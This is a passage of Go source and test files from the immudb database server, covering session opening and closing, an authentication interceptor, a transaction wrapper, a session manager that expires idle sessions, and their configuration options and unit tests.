DefaultOptions(). WithDir(dir). WithAuth(true). WithListener(l). WithPort(22222). WithMetricsServer(false) server := DefaultServer().WithOptions(options).(*ImmuServer) err := server.Initialize() require.NoError(t, err) srvc := &Service{ ImmuServerIf: server, } srvc.Start() time.Sleep(1 * time.Second) srvc.Stop() } ================================================ FILE: pkg/server/session.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func (s *ImmuServer) OpenSession(ctx context.Context, r *schema.OpenSessionRequest) (*schema.OpenSessionResponse, error) { if r == nil { return nil, ErrIllegalArguments } databaseName := strings.ToLower(r.DatabaseName) if !s.Options.auth { return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } u, err := s.getValidatedUser(ctx, r.Username, r.Password) if err != nil { return nil, errors.Wrap(err, ErrInvalidUsernameOrPassword) } if u.Username == auth.SysAdminUsername { u.IsSysAdmin = true } if !u.Active { return nil, errors.New(ErrUserNotActive) } db := s.sysDB if databaseName != SystemDBName { db, err = s.dbList.GetByName(databaseName) if err != nil { return nil, err } } if (!u.IsSysAdmin) && (!u.HasPermission(databaseName, auth.PermissionAdmin)) && (!u.HasPermission(databaseName, auth.PermissionR)) && (!u.HasPermission(databaseName, auth.PermissionRW)) { return nil, status.Errorf(codes.PermissionDenied, "Logged in user does not have permission on this database") } session, err := s.SessManager.NewSession(u, db) if err != nil { return nil, err } return &schema.OpenSessionResponse{ SessionID: session.GetID(), ServerUUID: s.UUID.String(), }, nil } func (s *ImmuServer) CloseSession(ctx context.Context, _ *empty.Empty) (*empty.Empty, error) { if !s.Options.auth { return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { return nil, err } err = s.SessManager.DeleteSession(sessionID) if err != nil { return nil, err } s.Logger.Debugf("closing session %s", sessionID) return new(empty.Empty), nil } ================================================ FILE: pkg/server/session_auth_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server/sessions" "google.golang.org/grpc" ) func (s *ImmuServer) SessionAuthInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { if auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth && info.FullMethod != "/immudb.schema.ImmuService/OpenSession" { sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { return nil, err } if !s.SessManager.SessionPresent(sessionID) { return nil, ErrSessionNotFound } } return handler(ctx, req) } ================================================ FILE: pkg/server/sessions/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "fmt" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/server/sessions/internal/transactions" ) var ErrSessionAlreadyPresent = errors.New("session already present").WithCode(errors.CodInternalError) var ErrNoSessionIDPresent = errors.New("no sessionID provided").WithCode(errors.CodInvalidAuthorizationSpecification) var ErrNoSessionAuthDataProvided = errors.New("no session auth data provided").WithCode(errors.CodInvalidAuthorizationSpecification) var ErrSessionNotFound = errors.New("no session found").WithCode(errors.CodInvalidParameterValue) var ErrOngoingReadWriteTx = errors.New("only 1 read write transaction supported at once").WithCode(errors.CodSqlserverRejectedEstablishmentOfSqlSession) var ErrNoTransactionIDPresent = errors.New("no transactionID provided").WithCode(errors.CodInvalidAuthorizationSpecification) var ErrNoTransactionAuthDataProvided = errors.New("no transaction auth data provided").WithCode(errors.CodInvalidAuthorizationSpecification) var ErrInvalidOptionsProvided = errors.New("invalid options provided") var ErrTransactionNotFound = transactions.ErrTransactionNotFound var ErrGuardAlreadyRunning = errors.New("session guard already launched") var ErrGuardNotRunning = errors.New("session guard not running") var ErrCantCreateSession = errors.New("can not create new session") var ErrMaxSessionsReached = fmt.Errorf("%w: max sessions number reached", ErrCantCreateSession) var ErrCantCreateSessionID = fmt.Errorf("%w: generation of session id failed", ErrCantCreateSession) var ErrWriteOnlyTXNotAllowed = errors.New("write only transaction not allowed") var ErrReadOnlyTXNotAllowed = errors.New("read only transaction not allowed") ================================================ FILE: pkg/server/sessions/internal/transactions/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package transactions import "github.com/codenotary/immudb/pkg/errors" var ErrTransactionNotFound = errors.New("no transaction found").WithCode(errors.CodInvalidParameterValue) ================================================ FILE: pkg/server/sessions/internal/transactions/transactions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package transactions import ( "context" "sync" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/rs/xid" ) type transaction struct { mutex sync.RWMutex transactionID string sqlTx *sql.SQLTx db database.DB sessionID string } type Transaction interface { GetID() string IsClosed() bool Rollback() error Commit(ctx context.Context) ([]*sql.SQLTx, error) GetSessionID() string Database() database.DB SQLExec(ctx context.Context, request *schema.SQLExecRequest) error SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (sql.RowReader, error) } func NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, sessionID string) (*transaction, error) { if opts == nil { return nil, sql.ErrIllegalArguments } transactionID := xid.New().String() sqlTx, err := db.NewSQLTx(ctx, opts.WithExplicitClose(true)) if err != nil { return nil, err } return &transaction{ sqlTx: sqlTx, transactionID: transactionID, db: db, sessionID: sessionID, }, nil } func (tx *transaction) GetID() string { tx.mutex.RLock() defer tx.mutex.RUnlock() return tx.transactionID } func (tx *transaction) IsClosed() bool { tx.mutex.RLock() defer tx.mutex.RUnlock() return tx.sqlTx == nil || tx.sqlTx.Closed() } func (tx *transaction) Rollback() error { tx.mutex.Lock() defer tx.mutex.Unlock() if tx.sqlTx == nil || tx.sqlTx.Closed() { return sql.ErrNoOngoingTx } return tx.sqlTx.Cancel() } func (tx *transaction) Commit(ctx context.Context) ([]*sql.SQLTx, error) { tx.mutex.Lock() defer tx.mutex.Unlock() if tx.sqlTx == nil || tx.sqlTx.Closed() { return nil, sql.ErrNoOngoingTx } _, cTxs, err := tx.db.SQLExec(ctx, tx.sqlTx, &schema.SQLExecRequest{Sql: "COMMIT;"}) if err != nil { return nil, err } return cTxs, nil } func (tx *transaction) GetSessionID() string { tx.mutex.RLock() defer tx.mutex.RUnlock() return tx.sessionID } func (tx *transaction) SQLExec(ctx context.Context, request *schema.SQLExecRequest) (err error) { tx.mutex.Lock() defer tx.mutex.Unlock() if tx.sqlTx == nil || tx.sqlTx.Closed() { return sql.ErrNoOngoingTx } tx.sqlTx, _, err = tx.db.SQLExec(ctx, tx.sqlTx, request) return err } func (tx *transaction) SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (sql.RowReader, error) { tx.mutex.Lock() defer tx.mutex.Unlock() if tx.sqlTx == nil || tx.sqlTx.Closed() { return nil, sql.ErrNoOngoingTx } return tx.db.SQLQuery(ctx, tx.sqlTx, request) } func (tx *transaction) Database() database.DB { return tx.db } ================================================ FILE: pkg/server/sessions/internal/transactions/transactions_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package transactions import ( "context" "os" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" ) func TestNewTx(t *testing.T) { path := t.TempDir() db, err := database.NewDB("db1", nil, database.DefaultOptions().WithDBRootPath(path), logger.NewSimpleLogger("logger", os.Stdout)) require.NoError(t, err) _, err = NewTransaction(context.Background(), nil, db, "session1") require.ErrorIs(t, err, sql.ErrIllegalArguments) tx, err := NewTransaction(context.Background(), sql.DefaultTxOptions(), db, "session1") require.NoError(t, err) require.NotNil(t, tx) err = tx.Rollback() require.NoError(t, err) _, err = tx.SQLQuery(context.Background(), nil) require.ErrorIs(t, err, sql.ErrNoOngoingTx) err = tx.SQLExec(context.Background(), nil) require.ErrorIs(t, err, sql.ErrNoOngoingTx) err = tx.Rollback() require.ErrorIs(t, err, sql.ErrNoOngoingTx) _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, sql.ErrNoOngoingTx) } ================================================ FILE: pkg/server/sessions/manager.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "context" "encoding/base64" "math" "os" "sync" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server/sessions/internal/transactions" ) const infinity = time.Duration(math.MaxInt64) type manager struct { running bool sessionMux sync.RWMutex sessions map[string]*Session ticker *time.Ticker done chan bool logger logger.Logger options Options } type Manager interface { NewSession(user *auth.User, db database.DB) (*Session, error) SessionPresent(sessionID string) bool DeleteSession(sessionID string) error UpdateSessionActivityTime(sessionID string) StartSessionsGuard() error StopSessionsGuard() error GetSession(sessionID string) (*Session, error) SessionCount() int GetTransactionFromContext(ctx context.Context) (transactions.Transaction, error) GetSessionFromContext(ctx context.Context) (*Session, error) DeleteTransaction(transactions.Transaction) error CommitTransaction(ctx context.Context, transaction transactions.Transaction) ([]*sql.SQLTx, error) RollbackTransaction(transaction transactions.Transaction) error } func NewManager(options *Options) (*manager, error) { if options == nil { return nil, ErrInvalidOptionsProvided } err := options.Validate() if err != nil { return nil, err } guard := &manager{ sessions: make(map[string]*Session), ticker: time.NewTicker(options.SessionGuardCheckInterval), done: make(chan bool), logger: logger.NewSimpleLogger("immudb session guard", os.Stdout), options: *options, } guard.options.Normalize() return guard, nil } func (sm *manager) NewSession(user *auth.User, db database.DB) (*Session, error) { sm.sessionMux.Lock() defer sm.sessionMux.Unlock() if len(sm.sessions) >= sm.options.MaxSessions { sm.logger.Warningf("max sessions reached") return nil, ErrMaxSessionsReached } randomBytes := make([]byte, 32) n, err := sm.options.RandSource.Read(randomBytes) if err != nil { sm.logger.Errorf("cant create session id: %v", err) return nil, ErrCantCreateSessionID } if n < len(randomBytes) { sm.logger.Errorf("cant create session id: could produce enough random data") return nil, ErrCantCreateSessionID } sessionID := base64.URLEncoding.EncodeToString(randomBytes) sm.sessions[sessionID] = NewSession(sessionID, user, db, sm.logger) sm.logger.Debugf("created session %s", sessionID) return sm.sessions[sessionID], nil } func (sm *manager) SessionPresent(sessionID string) bool { sm.sessionMux.RLock() defer sm.sessionMux.RUnlock() _, isPresent := sm.sessions[sessionID] return isPresent } func (sm *manager) GetSession(sessionID string) (*Session, error) { sm.sessionMux.RLock() defer sm.sessionMux.RUnlock() session, ok := sm.sessions[sessionID] if !ok { return nil, ErrSessionNotFound } return session, nil } func (sm *manager) DeleteSession(sessionID string) error { sm.sessionMux.Lock() defer sm.sessionMux.Unlock() return sm.deleteSession(sessionID) } func (sm *manager) deleteSession(sessionID string) error { sess, ok := sm.sessions[sessionID] if !ok { return ErrSessionNotFound } merr := multierr.NewMultiErr() if err := sess.CloseDocumentReaders(); err != nil { merr.Append(err) } if err := sess.RollbackTransactions(); err != nil { merr.Append(err) } delete(sm.sessions, sessionID) return merr.Reduce() } func (sm *manager) UpdateSessionActivityTime(sessionID string) { sm.sessionMux.Lock() defer sm.sessionMux.Unlock() if sess, ok := sm.sessions[sessionID]; ok { now := time.Now() sess.SetLastActivityTime(now) sm.logger.Debugf("updated last activity time for %s at %s", sessionID, now.Format(time.UnixDate)) } } func (sm *manager) SessionCount() int { sm.sessionMux.RLock() defer sm.sessionMux.RUnlock() return len(sm.sessions) } func (sm *manager) StartSessionsGuard() error { sm.sessionMux.Lock() defer sm.sessionMux.Unlock() if sm.running { return ErrGuardAlreadyRunning } sm.running = true go func() { for { select { case <-sm.done: return case <-sm.ticker.C: sm.expireSessions(time.Now()) } } }() return nil } func (sm *manager) IsRunning() bool { sm.sessionMux.RLock() defer sm.sessionMux.RUnlock() return sm.running } func (sm *manager) StopSessionsGuard() error { sm.sessionMux.Lock() defer sm.sessionMux.Unlock() if !sm.running { return ErrGuardNotRunning } sm.running = false sm.ticker.Stop() // Wait for the guard to finish any pending cancellation work // this must be done with unlocked mutex since // mutex expiration may try to lock the mutex sm.sessionMux.Unlock() sm.done <- true sm.sessionMux.Lock() // Delete all for id := range sm.sessions { sm.deleteSession(id) } sm.logger.Debugf("shutdown") return nil } func (sm *manager) expireSessions(now time.Time) (sessionsCount, inactiveSessCount, deletedSessCount int, err error) { sm.sessionMux.Lock() defer sm.sessionMux.Unlock() if !sm.running { return 0, 0, 0, ErrGuardNotRunning } inactiveSessCount = 0 deletedSessCount = 0 sm.logger.Debugf("checking at %s", now.Format(time.UnixDate)) for ID, sess := range sm.sessions { createdAt := sess.GetCreationTime() lastActivity := sess.GetLastActivityTime() if now.Sub(createdAt) > sm.options.MaxSessionAgeTime { sm.logger.Debugf("removing session %s - exceeded MaxSessionAgeTime", ID) sm.deleteSession(ID) deletedSessCount++ } else if now.Sub(lastActivity) > sm.options.Timeout { sm.logger.Debugf("removing session %s - exceeded Timeout", ID) sm.deleteSession(ID) deletedSessCount++ } else if now.Sub(lastActivity) > sm.options.MaxSessionInactivityTime { inactiveSessCount++ } } sm.logger.Debugf("Open sessions count: %d\n", len(sm.sessions)) sm.logger.Debugf("Inactive sessions count: %d\n", inactiveSessCount) sm.logger.Debugf("Deleted sessions count: %d\n", deletedSessCount) return len(sm.sessions), inactiveSessCount, deletedSessCount, nil } func (sm *manager) GetTransactionFromContext(ctx context.Context) (transactions.Transaction, error) { sessionID, err := GetSessionIDFromContext(ctx) if err != nil { return nil, err } sess, err := sm.GetSession(sessionID) if err != nil { return nil, err } transactionID, err := GetTransactionIDFromContext(ctx) if err != nil { return nil, err } return sess.GetTransaction(transactionID) } func (sm *manager) GetSessionFromContext(ctx context.Context) (*Session, error) { sessionID, err := GetSessionIDFromContext(ctx) if err != nil { return nil, err } return sm.GetSession(sessionID) } func (sm *manager) DeleteTransaction(tx transactions.Transaction) error { sessionID := tx.GetSessionID() sess, err := sm.GetSession(sessionID) if err != nil { return err } return sess.RemoveTransaction(tx.GetID()) } func (sm *manager) CommitTransaction(ctx context.Context, tx transactions.Transaction) ([]*sql.SQLTx, error) { err := sm.DeleteTransaction(tx) if err != nil { return nil, err } cTxs, err := tx.Commit(ctx) if err != nil { return nil, err } return cTxs, nil } func (sm *manager) RollbackTransaction(tx transactions.Transaction) error { err := sm.DeleteTransaction(tx) if err != nil { return err } return tx.Rollback() } ================================================ FILE: pkg/server/sessions/manager_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "bytes" "fmt" "math/bits" "os" "sync" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/require" ) func TestNewManager(t *testing.T) { m, err := NewManager(DefaultOptions()) require.NoError(t, err) require.IsType(t, new(manager), m) require.NotNil(t, m.sessions) } func TestNewManagerCornerCases(t *testing.T) { _, err := NewManager(nil) require.ErrorIs(t, err, ErrInvalidOptionsProvided) } func TestSessionGuard(t *testing.T) { m, err := NewManager(DefaultOptions()) require.NoError(t, err) isRunning := m.IsRunning() require.False(t, isRunning) err = m.StartSessionsGuard() require.NoError(t, err) isRunning = m.IsRunning() require.True(t, isRunning) err = m.StartSessionsGuard() require.ErrorIs(t, err, ErrGuardAlreadyRunning) isRunning = m.IsRunning() require.True(t, isRunning) time.Sleep(time.Second * 1) isRunning = m.IsRunning() require.True(t, isRunning) err = m.StopSessionsGuard() require.NoError(t, err) isRunning = m.IsRunning() require.False(t, isRunning) err = m.StopSessionsGuard() require.ErrorIs(t, err, ErrGuardNotRunning) isRunning = m.IsRunning() require.False(t, isRunning) _, _, _, err = m.expireSessions(time.Now()) require.ErrorIs(t, err, ErrGuardNotRunning) } func TestManagerMaxSessions(t *testing.T) { m, err := NewManager(DefaultOptions().WithMaxSessions(1)) require.NoError(t, err) sess, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) sess2, err := m.NewSession(&auth.User{}, nil) require.ErrorIs(t, err, ErrMaxSessionsReached) require.Nil(t, sess2) err = m.DeleteSession(sess.id) require.NoError(t, err) } func TestGetSessionNotFound(t *testing.T) { m, err := NewManager(DefaultOptions()) require.NoError(t, err) sess, err := m.GetSession("non-existing-session") require.ErrorIs(t, err, ErrSessionNotFound) require.Nil(t, sess) } func TestManager_ExpireSessions(t *testing.T) { const ( SESS_NUMBER = 60 SESS_ACTIVE = 30 TICK = time.Millisecond SGUARD_CHECK_INTERVAL = TICK * 2 MAX_SESSION_INACTIVE = TICK * 10 TIMEOUT = TICK * 50 STATUS_UPDATE_INTERVAL = TICK * 1 ) sessOptions := DefaultOptions(). WithSessionGuardCheckInterval(SGUARD_CHECK_INTERVAL). WithMaxSessionInactivityTime(MAX_SESSION_INACTIVE). WithMaxSessionAgeTime(infinity). WithTimeout(TIMEOUT) m, err := NewManager(sessOptions) require.NoError(t, err) m.logger = logger.NewSimpleLogger("immudb session guard", os.Stdout) sessIDs := make(chan string, SESS_NUMBER) t.Run("must correctly create sessions in parallel", func(t *testing.T) { wg := sync.WaitGroup{} for i := 1; i <= SESS_NUMBER; i++ { wg.Add(1) go func(u int) { defer wg.Done() lid, err := m.NewSession(&auth.User{ Username: fmt.Sprintf("%d", u), }, nil) require.NoError(t, err) sessIDs <- lid.GetID() }(i) } wg.Wait() if t.Failed() { t.FailNow() } require.Equal(t, SESS_NUMBER, m.SessionCount()) }) t.Run("check if session guard removes sessions", func(t *testing.T) { err = m.StartSessionsGuard() require.NoError(t, err) // keep some sessions active keepActiveDone := make(chan bool) wg := sync.WaitGroup{} for ac := 0; ac < SESS_ACTIVE; ac++ { wg.Add(1) go func() { defer wg.Done() id := <-sessIDs t := time.NewTicker(STATUS_UPDATE_INTERVAL) for { select { case <-t.C: m.UpdateSessionActivityTime(id) case <-keepActiveDone: t.Stop() return } } }() } // Ensure session guard is doing its job time.Sleep(2 * TIMEOUT) require.Equal(t, SESS_ACTIVE, m.SessionCount()) // Cleanup close(keepActiveDone) wg.Wait() err = m.StopSessionsGuard() require.NoError(t, err) }) } func TestManagerSessionExpiration(t *testing.T) { m, err := NewManager(DefaultOptions(). WithMaxSessionInactivityTime(5 * time.Second). WithTimeout(10 * time.Second). WithMaxSessionAgeTime(100 * time.Second), ) require.NoError(t, err) m.logger = logger.NewSimpleLogger("immudb session guard", os.Stdout) err = m.StartSessionsGuard() require.NoError(t, err) nowTime := time.Now() t.Run("do not expire new sessions", func(t *testing.T) { sess, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) require.Equal(t, 1, m.SessionCount()) count, inactive, del, err := m.expireSessions(nowTime) require.NoError(t, err) require.Equal(t, 1, count) require.Zero(t, inactive) require.Zero(t, del) require.Equal(t, 1, m.SessionCount()) m.DeleteSession(sess.id) }) t.Run("do not expire inactive sessions before additional timeout", func(t *testing.T) { sess, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) require.Equal(t, 1, m.SessionCount()) sess.lastActivityTime = nowTime.Add(-7 * time.Second) count, inactive, del, err := m.expireSessions(nowTime) require.NoError(t, err) require.Equal(t, 1, count) require.Equal(t, 1, inactive) require.Zero(t, del) require.Equal(t, 1, m.SessionCount()) m.DeleteSession(sess.id) }) t.Run("expire inactive sessions once timeout passes", func(t *testing.T) { sess, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) require.Equal(t, 1, m.SessionCount()) sess.lastActivityTime = nowTime.Add(-13 * time.Second) count, inactive, del, err := m.expireSessions(nowTime) require.NoError(t, err) require.Zero(t, count) require.Zero(t, inactive) require.Equal(t, 1, del) require.Equal(t, 0, m.SessionCount()) m.DeleteSession(sess.id) }) t.Run("expire active sessions due to max age", func(t *testing.T) { sess, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) require.Equal(t, 1, m.SessionCount()) sess.lastActivityTime = nowTime sess.creationTime = nowTime.Add(-101 * time.Second) count, inactive, del, err := m.expireSessions(nowTime) require.NoError(t, err) require.Zero(t, count) require.Zero(t, inactive) require.Equal(t, 1, del) require.Equal(t, 0, m.SessionCount()) m.DeleteSession(sess.id) }) } func TestManagerNewSessionCryptographicQuality(t *testing.T) { m, err := NewManager(DefaultOptions()) require.NoError(t, err) sess1, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) sess2, err := m.NewSession(&auth.User{}, nil) require.NoError(t, err) bitsDifference := 0 for i := 0; i < len(sess1.id) && i < len(sess2.id); i++ { b1 := ([]byte(sess1.id))[i] b2 := ([]byte(sess2.id))[i] diff := bits.OnesCount8(b1 ^ b2) bitsDifference += diff } require.GreaterOrEqual(t, bitsDifference, 90) } func TestManagerNewSessionFailureForNoRandomSource(t *testing.T) { t.Run("correctly handle error while reading from random source", func(t *testing.T) { randSrc := bytes.NewReader(nil) opts := DefaultOptions().WithRandSource(randSrc) m, err := NewManager(opts) require.NoError(t, err) _, err = m.NewSession(&auth.User{}, nil) require.ErrorIs(t, err, ErrCantCreateSession) }) t.Run("correctly handle not enough data in the random source", func(t *testing.T) { randSrc := bytes.NewReader([]byte{0x00}) opts := DefaultOptions().WithRandSource(randSrc) m, err := NewManager(opts) require.NoError(t, err) _, err = m.NewSession(&auth.User{}, nil) require.ErrorIs(t, err, ErrCantCreateSession) }) } ================================================ FILE: pkg/server/sessions/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "crypto/rand" "fmt" "io" "time" ) type Options struct { SessionGuardCheckInterval time.Duration // MaxSessionInactivityTime is a duration for the amount of time after which an idle session would be closed by the server MaxSessionInactivityTime time.Duration // MaxSessionAgeTime is a duration for the maximum amount of time a session may exist before it will be closed by the server MaxSessionAgeTime time.Duration // Timeout the server waits for a duration of Timeout and if no activity is seen even after that the session is closed Timeout time.Duration // Max number of simultaneous sessions MaxSessions int // Random number generator RandSource io.Reader } func DefaultOptions() *Options { return &Options{ SessionGuardCheckInterval: time.Minute * 1, MaxSessionInactivityTime: time.Minute * 3, MaxSessionAgeTime: infinity, Timeout: time.Minute * 2, MaxSessions: 100, RandSource: rand.Reader, } } func (o *Options) WithSessionGuardCheckInterval(interval time.Duration) *Options { o.SessionGuardCheckInterval = interval return o } func (o *Options) WithMaxSessionInactivityTime(maxInactivityTime time.Duration) *Options { o.MaxSessionInactivityTime = maxInactivityTime return o } func (o *Options) WithMaxSessionAgeTime(maxAgeTime time.Duration) *Options { o.MaxSessionAgeTime = maxAgeTime return o } func (o *Options) WithTimeout(timeout time.Duration) *Options { o.Timeout = timeout return o } func (o *Options) WithMaxSessions(maxSessions int) *Options { o.MaxSessions = maxSessions return o } func (o *Options) WithRandSource(src io.Reader) *Options { o.RandSource = src return o } func (o *Options) Validate() error { if o.MaxSessionAgeTime < 0 { return fmt.Errorf("%w: invalid MaxSessionAgeTime", ErrInvalidOptionsProvided) } if o.MaxSessionInactivityTime < 0 { return fmt.Errorf("%w: invalid MaxSessionInactivityTime", ErrInvalidOptionsProvided) } if o.Timeout < 0 { return fmt.Errorf("%w: invalid Timeout", ErrInvalidOptionsProvided) } if o.SessionGuardCheckInterval <= 0 { return fmt.Errorf("%w: invalid SessionGuardCheckInterval", ErrInvalidOptionsProvided) } if o.MaxSessions <= 0 { return fmt.Errorf("%w: invalid MaxSessions", ErrInvalidOptionsProvided) } if o.RandSource == nil { return fmt.Errorf("%w: invalid RandSource", ErrInvalidOptionsProvided) } return nil } func (o *Options) Normalize() *Options { if o.MaxSessionAgeTime == 0 { o.MaxSessionAgeTime = infinity } if o.MaxSessionInactivityTime == 0 { o.MaxSessionInactivityTime = infinity } if o.Timeout == 0 { o.Timeout = infinity } return o } ================================================ FILE: pkg/server/sessions/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "bytes" "fmt" "testing" "time" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { op := Options{} randSrc := bytes.NewReader([]byte{}) op.WithMaxSessionAgeTime(time.Second). WithSessionGuardCheckInterval(2 * time.Second). WithMaxSessionInactivityTime(3 * time.Second). WithTimeout(4 * time.Second). WithMaxSessions(99). WithRandSource(randSrc) assert.Equal(t, time.Second, op.MaxSessionAgeTime) assert.Equal(t, 2*time.Second, op.SessionGuardCheckInterval) assert.Equal(t, 3*time.Second, op.MaxSessionInactivityTime) assert.Equal(t, 4*time.Second, op.Timeout) assert.Equal(t, 99, op.MaxSessions) assert.Equal(t, randSrc, op.RandSource) } func TestOptionsValidate(t *testing.T) { op := DefaultOptions() err := op.Validate() require.NoError(t, err) for _, op := range []*Options{ DefaultOptions().WithSessionGuardCheckInterval(0), DefaultOptions().WithSessionGuardCheckInterval(-1 * time.Second), DefaultOptions().WithMaxSessionInactivityTime(-1 * time.Second), DefaultOptions().WithMaxSessionAgeTime(-1 * time.Second), DefaultOptions().WithTimeout(-1 * time.Second), DefaultOptions().WithMaxSessions(0), DefaultOptions().WithMaxSessions(-1), DefaultOptions().WithRandSource(nil), } { t.Run(fmt.Sprintf("%+v", op), func(t *testing.T) { err = op.Validate() require.ErrorIs(t, err, ErrInvalidOptionsProvided) }) } } func TestOptionsNormalize(t *testing.T) { opts := DefaultOptions(). WithMaxSessionAgeTime(0). WithMaxSessionInactivityTime(0). WithTimeout(0). Normalize() require.Equal(t, infinity, opts.MaxSessionInactivityTime) require.Equal(t, infinity, opts.MaxSessionAgeTime) require.Equal(t, infinity, opts.Timeout) } ================================================ FILE: pkg/server/sessions/session.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "context" "sync" "time" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" 